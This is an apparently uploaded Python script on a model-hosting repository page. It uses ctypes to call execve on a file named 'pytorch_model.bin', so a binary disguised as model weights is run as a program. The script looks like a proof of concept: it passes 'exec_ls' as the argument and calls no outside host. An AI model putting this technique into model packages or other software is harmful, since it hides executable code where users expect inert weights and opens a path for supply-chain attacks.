tiwariratnesh's picture
Upload 2 files
c6f4888 verified
raw
history blame contribute delete
558 Bytes
import ctypes
import os
# Define the C functions and constants
libc = ctypes.CDLL(None)
libc.execve.argtypes = [ctypes.c_char_p, ctypes.POINTER(ctypes.c_char_p), ctypes.POINTER(ctypes.c_char_p)]
# Path to the binary file
binary_path = b'pytorch_model.bin'
# Prepare the arguments for execve
args = [b'exec_ls', None]
env = [None]
# Execute the binary file
result = libc.execve(binary_path, (ctypes.c_char_p * len(args))(*args), (ctypes.c_char_p * len(env))(*env))
# Note: execve replaces the current process, so execution will not return to this point.